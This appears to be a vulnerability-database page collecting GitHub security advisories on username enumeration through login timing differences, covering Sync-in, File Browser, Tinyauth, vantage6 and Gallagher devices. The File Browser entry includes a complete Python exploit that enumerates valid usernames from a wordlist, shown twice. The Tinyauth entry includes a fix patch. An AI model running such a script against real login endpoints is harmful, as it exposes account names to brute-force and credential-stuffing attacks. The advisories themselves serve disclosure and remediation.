  "details": "### Summary\nThe `/api/auth/login` endpoint contains a logic flaw that allows unauthenticated remote attackers to enumerate valid usernames by measuring the application\u0027s response time.\n\n### Details\nThe logic flaw can be located at the below point in source:\nhttps://github.com/Sync-in/server/blob/7868bb2b3025f92e6c38087456304758713971b2/backend/src/applications/users/services/users-queries.service.ts#L91-L95\n\nEndpoints used for authentication should respond to the user with a consistent cadence, preventing remote actors from deriving sensitive information about an application based on backend behavior. In the case of authentication endpoints, this timing discrepancy is often caused by short-circuiting due to the lack of a matched user to compare against - as is the case with Sync-in.\n\n### Validation\nTickTock Enum (Burp Suite Extension) was utilized to validate this finding. Authentication attempts with a valid username see a response from the application at around 350-400ms on average, while invalid usernames are returned at only 95-100ms on average.\n\u003cimg width=\"1302\" height=\"284\" alt=\"image\" src=\"https://github.com/user-attachments/assets/31eeb72a-c3c2-4057-ac69-c0c92f0bbd4e\" /\u003e\n\n### Impact\nAn unauthenticated remote attacker can enumerate valid usernames. This significantly weakens the application\u0027s security posture by facilitating targeted brute-force attacks, stuffing, social engineering, and a suite of other more targeted attacks.",
  "id": "GHSA-43fj-qp3h-hrh5",
  "modified": "2026-05-12T13:31:20Z",
  "published": "2026-04-15T18:57:50Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Sync-in/server/security/advisories/GHSA-43fj-qp3h-hrh5"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41161"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Sync-in/server"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Sync-in/server/releases/tag/v2.2.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Sync-in Server has Username Enumeration via Timing Attack"
}

GHSA-43MM-M3H2-3PRC

Vulnerability from github – Published: 2026-01-21 01:02 – Updated: 2026-01-21 01:02
VLAI
Summary
File Browser Vulnerable to Username Enumeration via Timing Attack in /api/login
Details

Summary

The JSONAuth.Auth function contains a logic flaw that allows unauthenticated attackers to enumerate valid usernames by measuring the response time of the /api/login endpoint.

Details

The vulnerability exists due to a "short-circuit" evaluation in the authentication logic. When a username is not found in the database, the function returns immediately. However, if the username does exist, the code proceeds to verify the password using bcrypt (users.CheckPwd), which is a computationally expensive operation designed to be slow.

This difference in execution path creates a measurable timing discrepancy:

Invalid User: ~1ms execution (Database lookup only). Valid User: ~50ms+ execution (Database lookup + Bcrypt hashing).

In auth/json.go:

// auth/json.go line 54
u, err := usr.Get(srv.Root, cred.Username)
// VULNERABILITY:
// If 'err != nil' (User not found), the OR condition short-circuits.
// The second part (!users.CheckPwd) is NEVER executed.
//
// If 'err == nil' (User found), the code MUST execute users.CheckPwd (Bcrypt).
if err != nil || !users.CheckPwd(cred.Password, u.Password) {
    return nil, os.ErrPermission
}

PoC

The following Python script automates the attack. It first calibrates the network latency using random (non-existent) users to establish a baseline/threshold, and then tests a list of target usernames. Valid users are detected when the response time exceeds the calculated threshold.

import requests
import time
import random
import string
import statistics
import argparse

CALIBRATION_SAMPLES = 20
ENDPOINT = "/api/login"

def generate_random_user(length=10):
    return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length))

def measure_response_time(url, username):
    start = time.perf_counter()
    try:
        requests.post(url, json={"username": username, "password": "dummy_pass_123!"})
    except Exception as e:
        print(f"[!] Connection error: {e}")
        return 0
    return time.perf_counter() - start

def calibrate(url):
    print(f"\n[*] Calibrating with {CALIBRATION_SAMPLES} random users...")
    times = []

    print("    Progress: ", end="", flush=True)
    for _ in range(CALIBRATION_SAMPLES):
        random_user = generate_random_user()
        elapsed = measure_response_time(url, random_user)
        times.append(elapsed)
        print(".", end="", flush=True)
    print(" OK")

    mean = statistics.mean(times)
    try:
        stdev = statistics.stdev(times)
    except:
        stdev = 0.0

    threshold = mean + (5 * stdev) + 0.005

    print(f"    - Mean time (invalid users): {mean:.4f}s")
    print(f"    - Standard deviation: {stdev:.6f}s")
    print(f"    - Threshold set: {threshold:.4f}s")

    return threshold

def load_wordlist(wordlist_path):
    try:
        with open(wordlist_path, 'r', encoding='utf-8') as f:
            users = [line.strip() for line in f if line.strip()]
        return users
    except FileNotFoundError:
        print(f"[!] Wordlist not found: {wordlist_path}")
        exit(1)
    except Exception as e:
        print(f"[!] Error reading wordlist: {e}")
        exit(1)

def timing_attack(url, threshold, users):
    print(f"\n[*] Testing {len(users)} users from wordlist...")
    print("-" * 50)
    print(f"{'Username':<15} | {'Time':<10} | {'Status'}")
    print("-" * 50)

    found = []

    for user in users:
        elapsed = measure_response_time(url, user)

        if elapsed > threshold:
            status = ">> VALID <<"
            found.append(user)
        else:
            status = "invalid"

        print(f"{user:<15} | {elapsed:.4f}s | {status}")

    return found

def main():
    parser = argparse.ArgumentParser(description='FileBrowser timing attack exploit')
    parser.add_argument('-u', '--url', required=True, help='Target URL (e.g., http://localhost:8080)')
    parser.add_argument('-w', '--wordlist', required=True, help='Path to wordlist file')
    args = parser.parse_args()

    target_url = args.url.rstrip('/') + ENDPOINT

    print("=== FILEBROWSER TIMING ATTACK ===\n")
    print(f"[*] Target: {target_url}")
    print(f"[*] Wordlist: {args.wordlist}")

    try:
        threshold = calibrate(target_url)
        users = load_wordlist(args.wordlist)
        print(f"\n[*] Loaded {len(users)} users from wordlist")
        print("[*] Starting attack...")

        valid_users = timing_attack(target_url, threshold, users)

        print("\n" + "="*50)
        print(f"SUMMARY: {len(valid_users)} valid users found")
        if valid_users:
            for u in valid_users:
                print(f"  -> {u}")
        print("="*50)

    except KeyboardInterrupt:
        print("\n[!] Attack cancelled")

if __name__ == "__main__":
    main()

For example, in this case, I have guchihacker as the only valid user in the application. image

I am going to use the exploit to list valid users. image As we can see, the user guchihacker has been confirmed as a valid user by comparing the server response time.

Impact

An unauthenticated remote attacker can enumerate valid usernames. This significantly weakens the security posture by facilitating targeted brute-force attacks or credential stuffing against specific, known-valid accounts (e.g., 'admin', 'root', employee names).

I remain at your disposal for any questions you may have on this matter. Thank you very much.

Sincerely, Felix Sanchez (GUCHI)

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/filebrowser/filebrowser"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.11.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/filebrowser/filebrowser/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.55.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-23849"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-203",
      "CWE-208"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-21T01:02:17Z",
    "nvd_published_at": "2026-01-19T21:15:51Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nThe JSONAuth.Auth function contains a logic flaw that allows unauthenticated attackers to enumerate valid usernames by measuring the response time of the /api/login endpoint.\n\n### Details\nThe vulnerability exists due to a \"short-circuit\" evaluation in the authentication logic. When a username is not found in the database, the function returns immediately. However, if the username does exist, the code proceeds to verify the password using bcrypt (users.CheckPwd), which is a computationally expensive operation designed to be slow.\n\nThis difference in execution path creates a measurable timing discrepancy:\n\nInvalid User: ~1ms execution (Database lookup only).\nValid User: ~50ms+ execution (Database lookup + Bcrypt hashing).\n\nIn auth/json.go:\n```go\n// auth/json.go line 54\nu, err := usr.Get(srv.Root, cred.Username)\n// VULNERABILITY:\n// If \u0027err != nil\u0027 (User not found), the OR condition short-circuits.\n// The second part (!users.CheckPwd) is NEVER executed.\n//\n// If \u0027err == nil\u0027 (User found), the code MUST execute users.CheckPwd (Bcrypt).\nif err != nil || !users.CheckPwd(cred.Password, u.Password) {\n    return nil, os.ErrPermission\n}\n```\n### PoC\nThe following Python script automates the attack. It first calibrates the network latency using random (non-existent) users to establish a baseline/threshold, and then tests a list of target usernames. Valid users are detected when the response time exceeds the calculated threshold.\n\n```python\nimport requests\nimport time\nimport random\nimport string\nimport statistics\nimport argparse\n\nCALIBRATION_SAMPLES = 20\nENDPOINT = \"/api/login\"\n\ndef generate_random_user(length=10):\n    return \u0027\u0027.join(random.choices(string.ascii_lowercase + string.digits, k=length))\n\ndef measure_response_time(url, username):\n    start = time.perf_counter()\n    try:\n        requests.post(url, json={\"username\": username, \"password\": \"dummy_pass_123!\"})\n    except Exception as e:\n        print(f\"[!] Connection error: {e}\")\n        return 0\n    return time.perf_counter() - start\n\ndef calibrate(url):\n    print(f\"\\n[*] Calibrating with {CALIBRATION_SAMPLES} random users...\")\n    times = []\n    \n    print(\"    Progress: \", end=\"\", flush=True)\n    for _ in range(CALIBRATION_SAMPLES):\n        random_user = generate_random_user()\n        elapsed = measure_response_time(url, random_user)\n        times.append(elapsed)\n        print(\".\", end=\"\", flush=True)\n    print(\" OK\")\n    \n    mean = statistics.mean(times)\n    try:\n        stdev = statistics.stdev(times)\n    except:\n        stdev = 0.0\n    \n    threshold = mean + (5 * stdev) + 0.005\n    \n    print(f\"    - Mean time (invalid users): {mean:.4f}s\")\n    print(f\"    - Standard deviation: {stdev:.6f}s\")\n    print(f\"    - Threshold set: {threshold:.4f}s\")\n    \n    return threshold\n\ndef load_wordlist(wordlist_path):\n    try:\n        with open(wordlist_path, \u0027r\u0027, encoding=\u0027utf-8\u0027) as f:\n            users = [line.strip() for line in f if line.strip()]\n        return users\n    except FileNotFoundError:\n        print(f\"[!] Wordlist not found: {wordlist_path}\")\n        exit(1)\n    except Exception as e:\n        print(f\"[!] Error reading wordlist: {e}\")\n        exit(1)\n\ndef timing_attack(url, threshold, users):\n    print(f\"\\n[*] Testing {len(users)} users from wordlist...\")\n    print(\"-\" * 50)\n    print(f\"{\u0027Username\u0027:\u003c15} | {\u0027Time\u0027:\u003c10} | {\u0027Status\u0027}\")\n    print(\"-\" * 50)\n    \n    found = []\n    \n    for user in users:\n        elapsed = measure_response_time(url, user)\n        \n        if elapsed \u003e threshold:\n            status = \"\u003e\u003e VALID \u003c\u003c\"\n            found.append(user)\n        else:\n            status = \"invalid\"\n            \n        print(f\"{user:\u003c15} | {elapsed:.4f}s | {status}\")\n        \n    return found\n\ndef main():\n    parser = argparse.ArgumentParser(description=\u0027FileBrowser timing attack exploit\u0027)\n    parser.add_argument(\u0027-u\u0027, \u0027--url\u0027, required=True, help=\u0027Target URL (e.g., http://localhost:8080)\u0027)\n    parser.add_argument(\u0027-w\u0027, \u0027--wordlist\u0027, required=True, help=\u0027Path to wordlist file\u0027)\n    args = parser.parse_args()\n    \n    target_url = args.url.rstrip(\u0027/\u0027) + ENDPOINT\n    \n    print(\"=== FILEBROWSER TIMING ATTACK ===\\n\")\n    print(f\"[*] Target: {target_url}\")\n    print(f\"[*] Wordlist: {args.wordlist}\")\n    \n    try:\n        threshold = calibrate(target_url)\n        users = load_wordlist(args.wordlist)\n        print(f\"\\n[*] Loaded {len(users)} users from wordlist\")\n        print(\"[*] Starting attack...\")\n        \n        valid_users = timing_attack(target_url, threshold, users)\n        \n        print(\"\\n\" + \"=\"*50)\n        print(f\"SUMMARY: {len(valid_users)} valid users found\")\n        if valid_users:\n            for u in valid_users:\n                print(f\"  -\u003e {u}\")\n        print(\"=\"*50)\n        \n    except KeyboardInterrupt:\n        print(\"\\n[!] Attack cancelled\")\n\nif __name__ == \"__main__\":\n    main()\n```\n\nFor example, in this case, I have guchihacker as the only valid user in the application.\n\u003cimg width=\"842\" height=\"310\" alt=\"image\" src=\"https://github.com/user-attachments/assets/b3caf11e-279c-4532-aa96-fd20cda153a3\" /\u003e\n\nI am going to use the exploit to list valid users.\n\u003cimg width=\"628\" height=\"716\" alt=\"image\" src=\"https://github.com/user-attachments/assets/f9d93e8e-e773-42a5-8a06-bc6bcc2a71fa\" /\u003e\nAs we can see, the user guchihacker has been confirmed as a valid user by comparing the server response time.\n\n### Impact\nAn unauthenticated remote attacker can enumerate valid usernames. This significantly weakens the security posture by facilitating targeted brute-force attacks or credential stuffing against specific, known-valid accounts (e.g., \u0027admin\u0027, \u0027root\u0027, employee names).\n\n\nI remain at your disposal for any questions you may have on this matter. Thank you very much.\n\nSincerely, [Felix Sanchez (GUCHI)](https://guchihacker.github.io/)",
  "id": "GHSA-43mm-m3h2-3prc",
  "modified": "2026-01-21T01:02:17Z",
  "published": "2026-01-21T01:02:17Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/filebrowser/filebrowser/security/advisories/GHSA-43mm-m3h2-3prc"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23849"
    },
    {
      "type": "WEB",
      "url": "https://github.com/filebrowser/filebrowser/commit/24781badd413ee20333aba5cce1919d676e01889"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/filebrowser/filebrowser"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "File Browser Vulnerable to Username Enumeration via Timing Attack in /api/login"
}

GHSA-456H-WW26-F758

Vulnerability from github – Published: 2026-09-22 20:37 – Updated: 2026-09-22 20:37
VLAI
Summary
Tinyauth: User enumeration attack by timing oracle
Details

Summary

It's possible to enumerate users through a timing oracle. In other words: I can easily check if a username exists or not by observing the timing differences between logins.

PoC

Setup a tinyauth server with a local user. It can be over the network.

Try to log in with the local user, using an incorrect password: there is a noticeable delay. You know that the user exists.

Now try to log in with a username that does not exist, using an incorrect password: it will complete almost immediately. You know that the user does not exist.

Expected vs actual behavior

Login attempts should take roughly the same amount of time when the user exists vs when the user does not exist. Right now, nonexistent user attempts are way faster, meaning if your login attempt is slow, then the username exists for sure.

Details

Existing usernames will take an extra ~50 milliseconds to respond to login attempts, while non-existing usernames will take only ~50 microseconds (1000x less time) to return an incorrect password response.

Even taking network traffic into consideration, it is trivial to check whether a local user exists or not.

=== Existing user, wrong password === #1: 50.52ms #2: 46.24ms #3: 43.57ms

=== Nonexistent user === #1: 43.03µs #2: 48.45µs #3: 59.33µs

Suggested fix

This can be solved by checking a dummy password hash when a user is not found before returning a query, this will mimic the exact same delay irrelevant of hardware capabilities.

Potential patch:

From ca102773e0303f6025480efb26db379e3570a350 Mon Sep 17 00:00:00 2001
From: Disyer <daniel@tohka.us>
Date: Tue, 14 Jul 2026 12:35:07 +0300
Subject: [PATCH] fix: prevent user enumeration by means of timing attack

---
 internal/controller/user_controller.go    |  1 +
 internal/middleware/context_middleware.go |  1 +
 internal/service/auth_service.go          | 10 ++++++++++
 3 files changed, 12 insertions(+)

diff --git a/internal/controller/user_controller.go b/internal/controller/user_controller.go
index ae6c23b..2ecc996 100644
--- a/internal/controller/user_controller.go
+++ b/internal/controller/user_controller.go
@@ -90,6 +90,7 @@ func (controller *UserController) loginHandler(c *gin.Context) {

        if err != nil {
                if errors.Is(err, service.ErrUserNotFound) {
+                       controller.auth.DummyCheckPassword(req.Password)
                        controller.log.App.Warn().Str("username", req.Username).Msg("User not found during login attempt")
                        controller.auth.RecordLoginAttempt(req.Username, false)
                        controller.log.AuditLoginFailure(req.Username, "unknown", c.ClientIP(), "user not found")
diff --git a/internal/middleware/context_middleware.go b/internal/middleware/context_middleware.go
index f49c85a..f70c9e7 100644
--- a/internal/middleware/context_middleware.go
+++ b/internal/middleware/context_middleware.go
@@ -244,6 +244,7 @@ func (m *ContextMiddleware) basicAuth(username string, password string) (*model.
        search, err := m.auth.SearchUser(username)

        if err != nil {
+               m.auth.DummyCheckPassword(password)
                return nil, nil, fmt.Errorf("error searching for user: %w", err)
        }

diff --git a/internal/service/auth_service.go b/internal/service/auth_service.go
index eeb5c8e..9cbc105 100644
--- a/internal/service/auth_service.go
+++ b/internal/service/auth_service.go
@@ -28,6 +28,10 @@ import (
 const MaxOAuthPendingSessions = 256
 const OAuthCleanupCount = 16

+// a dummy hash to check when a user is not found, to prevent user enumeration
+// hardcoded to prevent having to generate a hash on every startup
+const dummyHash = "$2a$10$iFQ6./j2a.UShYQOzWh4vOlnoze5DmHI3tRY3WU4YMj3zwp.t3TnO"
+
 var (
        ErrUserNotFound = errors.New("user not found")
 )
@@ -204,6 +208,12 @@ func (auth *AuthService) CheckUserPassword(search model.UserSearch, password str
        return errors.New("user authentication failed")
 }

+func (auth *AuthService) DummyCheckPassword(password string) {
+       // When a user is not found, we still want to perform a password check to prevent
+       // timing attacks that could reveal whether a user exists or not
+       bcrypt.CompareHashAndPassword([]byte(dummyHash), []byte(password))
+}
+
 func (auth *AuthService) GetLocalUser(username string) *model.LocalUser {
        if auth.runtime.LocalUsers == nil {
                return nil
-- 
2.55.0

After testing the proposed fix, there is no discernible timing difference:

=== Existing user, wrong password === #1: 43.23ms #2: 43.26ms #3: 42.57ms

=== Nonexistent user === #1: 42.45ms #2: 42.11ms #3: 47.71ms

Severity
6.9 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/tinyauthapp/tinyauth"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.0.1-0.20260714134959-c22925c2fba9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-77582"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-208"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-22T20:37:06Z",
    "nvd_published_at": "2026-09-21T17:18:53Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nIt\u0027s possible to enumerate users through a timing oracle. In other words: I can easily check if a username exists or not by observing the timing differences between logins.\n\n### PoC\nSetup a tinyauth server with a local user. It can be over the network.\n\nTry to log in with the local user, using an incorrect password: there is a noticeable delay. You know that the user exists.\n\nNow try to log in with a username that does not exist, using an incorrect password: it will complete almost immediately. You know that the user does not exist.\n\n### Expected vs actual behavior\n\nLogin attempts should take roughly the same amount of time when the user exists vs when the user does not exist.\nRight now, nonexistent user attempts are way faster, meaning if your login attempt is slow, then the username exists for sure.\n\n### Details\n\nExisting usernames will take an extra ~50 milliseconds to respond to login attempts, while non-existing usernames will take only ~50 microseconds (1000x less time) to return an incorrect password response.\n\nEven taking network traffic into consideration, it is trivial to check whether a local user exists or not.\n\n=== Existing user, wrong password ===\n  #1: 50.52ms\n  #2: 46.24ms\n  #3: 43.57ms\n\n=== Nonexistent user ===\n  #1: 43.03\u00b5s\n  #2: 48.45\u00b5s\n  #3: 59.33\u00b5s\n\n### Suggested fix\n\nThis can be solved by checking a dummy password hash when a user is not found before returning a query, this will mimic the exact same delay irrelevant of hardware capabilities.\n\nPotential patch:\n```\nFrom ca102773e0303f6025480efb26db379e3570a350 Mon Sep 17 00:00:00 2001\nFrom: Disyer \u003cdaniel@tohka.us\u003e\nDate: Tue, 14 Jul 2026 12:35:07 +0300\nSubject: [PATCH] fix: prevent user enumeration by means of timing attack\n\n---\n internal/controller/user_controller.go    |  1 +\n internal/middleware/context_middleware.go |  1 +\n internal/service/auth_service.go          | 10 ++++++++++\n 3 files changed, 12 insertions(+)\n\ndiff --git a/internal/controller/user_controller.go b/internal/controller/user_controller.go\nindex ae6c23b..2ecc996 100644\n--- a/internal/controller/user_controller.go\n+++ b/internal/controller/user_controller.go\n@@ -90,6 +90,7 @@ func (controller *UserController) loginHandler(c *gin.Context) {\n \n        if err != nil {\n                if errors.Is(err, service.ErrUserNotFound) {\n+                       controller.auth.DummyCheckPassword(req.Password)\n                        controller.log.App.Warn().Str(\"username\", req.Username).Msg(\"User not found during login attempt\")\n                        controller.auth.RecordLoginAttempt(req.Username, false)\n                        controller.log.AuditLoginFailure(req.Username, \"unknown\", c.ClientIP(), \"user not found\")\ndiff --git a/internal/middleware/context_middleware.go b/internal/middleware/context_middleware.go\nindex f49c85a..f70c9e7 100644\n--- a/internal/middleware/context_middleware.go\n+++ b/internal/middleware/context_middleware.go\n@@ -244,6 +244,7 @@ func (m *ContextMiddleware) basicAuth(username string, password string) (*model.\n        search, err := m.auth.SearchUser(username)\n \n        if err != nil {\n+               m.auth.DummyCheckPassword(password)\n                return nil, nil, fmt.Errorf(\"error searching for user: %w\", err)\n        }\n \ndiff --git a/internal/service/auth_service.go b/internal/service/auth_service.go\nindex eeb5c8e..9cbc105 100644\n--- a/internal/service/auth_service.go\n+++ b/internal/service/auth_service.go\n@@ -28,6 +28,10 @@ import (\n const MaxOAuthPendingSessions = 256\n const OAuthCleanupCount = 16\n \n+// a dummy hash to check when a user is not found, to prevent user enumeration\n+// hardcoded to prevent having to generate a hash on every startup\n+const dummyHash = \"$2a$10$iFQ6./j2a.UShYQOzWh4vOlnoze5DmHI3tRY3WU4YMj3zwp.t3TnO\"\n+\n var (\n        ErrUserNotFound = errors.New(\"user not found\")\n )\n@@ -204,6 +208,12 @@ func (auth *AuthService) CheckUserPassword(search model.UserSearch, password str\n        return errors.New(\"user authentication failed\")\n }\n \n+func (auth *AuthService) DummyCheckPassword(password string) {\n+       // When a user is not found, we still want to perform a password check to prevent\n+       // timing attacks that could reveal whether a user exists or not\n+       bcrypt.CompareHashAndPassword([]byte(dummyHash), []byte(password))\n+}\n+\n func (auth *AuthService) GetLocalUser(username string) *model.LocalUser {\n        if auth.runtime.LocalUsers == nil {\n                return nil\n-- \n2.55.0\n```\n\nAfter testing the proposed fix, there is no discernible timing difference:\n\n=== Existing user, wrong password ===\n  #1: 43.23ms\n  #2: 43.26ms\n  #3: 42.57ms\n\n=== Nonexistent user ===\n  #1: 42.45ms\n  #2: 42.11ms\n  #3: 47.71ms",
  "id": "GHSA-456h-ww26-f758",
  "modified": "2026-09-22T20:37:06Z",
  "published": "2026-09-22T20:37:06Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/tinyauthapp/tinyauth/security/advisories/GHSA-456h-ww26-f758"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-77582"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tinyauthapp/tinyauth/pull/1004"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tinyauthapp/tinyauth/commit/c22925c2fba981875d0a2b09dd3ee41c0ae4c310"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/tinyauthapp/tinyauth"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tinyauthapp/tinyauth/releases/tag/v5.1.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Tinyauth: User enumeration attack by timing oracle"
}

GHSA-45GQ-Q4XH-CP53

Vulnerability from github – Published: 2024-01-30 20:56 – Updated: 2024-02-08 22:48
VLAI
Summary
vantage6 vulnerable to username timing attack
Details

Impact

It is possible to find out usernames from the response time of login requests. This could aid attackers in credential attacks

Workarounds

No

Severity
3.7 (Low)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "vantage6-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.2.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-21671"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-208"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-01-30T20:56:48Z",
    "nvd_published_at": "2024-01-30T16:15:48Z",
    "severity": "LOW"
  },
  "details": "### Impact\nIt is possible to find out usernames from the response time of login requests. This could aid attackers in credential attacks\n\n### Workarounds\nNo\n",
  "id": "GHSA-45gq-q4xh-cp53",
  "modified": "2024-02-08T22:48:56Z",
  "published": "2024-01-30T20:56:48Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/vantage6/vantage6/security/advisories/GHSA-45gq-q4xh-cp53"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-21671"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vantage6/vantage6/commit/389f416c445da4f2438c72f34c3b1084485c4e30"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/vantage6/PYSEC-2024-31.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/vantage6/vantage6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "vantage6 vulnerable to username timing attack"
}

GHSA-46HF-65MW-6FG3

Vulnerability from github – Published: 2025-11-18 06:30 – Updated: 2025-11-18 06:30
VLAI
Details

Observable Timing Discrepancy (CWE-208) in HBUS devices may allow an attacker with physical access to the device to extract device-specific keys, potentially compromising further site security.

This issue affects Command Centre Server:

9.30 prior to vCR9.30.251028a (distributed in 9.30.2881 (MR3)), 9.20 prior to vCR9.20.251028a (distributed in 9.20.3265 (MR5)), 9.10 prior to vCR9.10.251028a (distributed in 9.10.4135 (MR8)), all versions of 9.00 and prior.

Severity
5.7 (Medium)
CVSS:3.1/AV:P/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-52457"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-208"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-11-18T04:15:44Z",
    "severity": "MODERATE"
  },
  "details": "Observable Timing Discrepancy (CWE-208) in HBUS devices may allow an attacker with physical access to the device to extract device-specific keys, potentially compromising further site security. \n\nThis issue affects Command Centre Server:\n\n9.30 prior to vCR9.30.251028a (distributed in 9.30.2881 (MR3)), 9.20 prior to vCR9.20.251028a (distributed in 9.20.3265 (MR5)), 9.10 prior to vCR9.10.251028a (distributed in 9.10.4135 (MR8)),\u00a0all versions of 9.00 and prior.",
  "id": "GHSA-46hf-65mw-6fg3",
  "modified": "2025-11-18T06:30:25Z",
  "published": "2025-11-18T06:30:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-52457"
    },
    {
      "type": "WEB",
      "url": "https://security.gallagher.com/en-NZ/Security-Advisories/CVE-2025-52457"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:P/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

No mitigation information available for this CWE.

CAPEC-462: Cross-Domain Search Timing

An attacker initiates cross domain HTTP / GET requests and times the server responses. The timing of these responses may leak important information on what is happening on the server. Browser's same origin policy prevents the attacker from directly reading the server responses (in the absence of any other weaknesses), but does not prevent the attacker from timing the responses to requests that the attacker issued cross domain.

CAPEC-541: Application Fingerprinting

An adversary engages in fingerprinting activities to determine the type or version of an application installed on a remote target.

CAPEC-580: System Footprinting

An adversary engages in active probing and exploration activities to determine security information about a remote target system. Often times adversaries will rely on remote applications that can be probed for system configurations.

← Back to the CWE list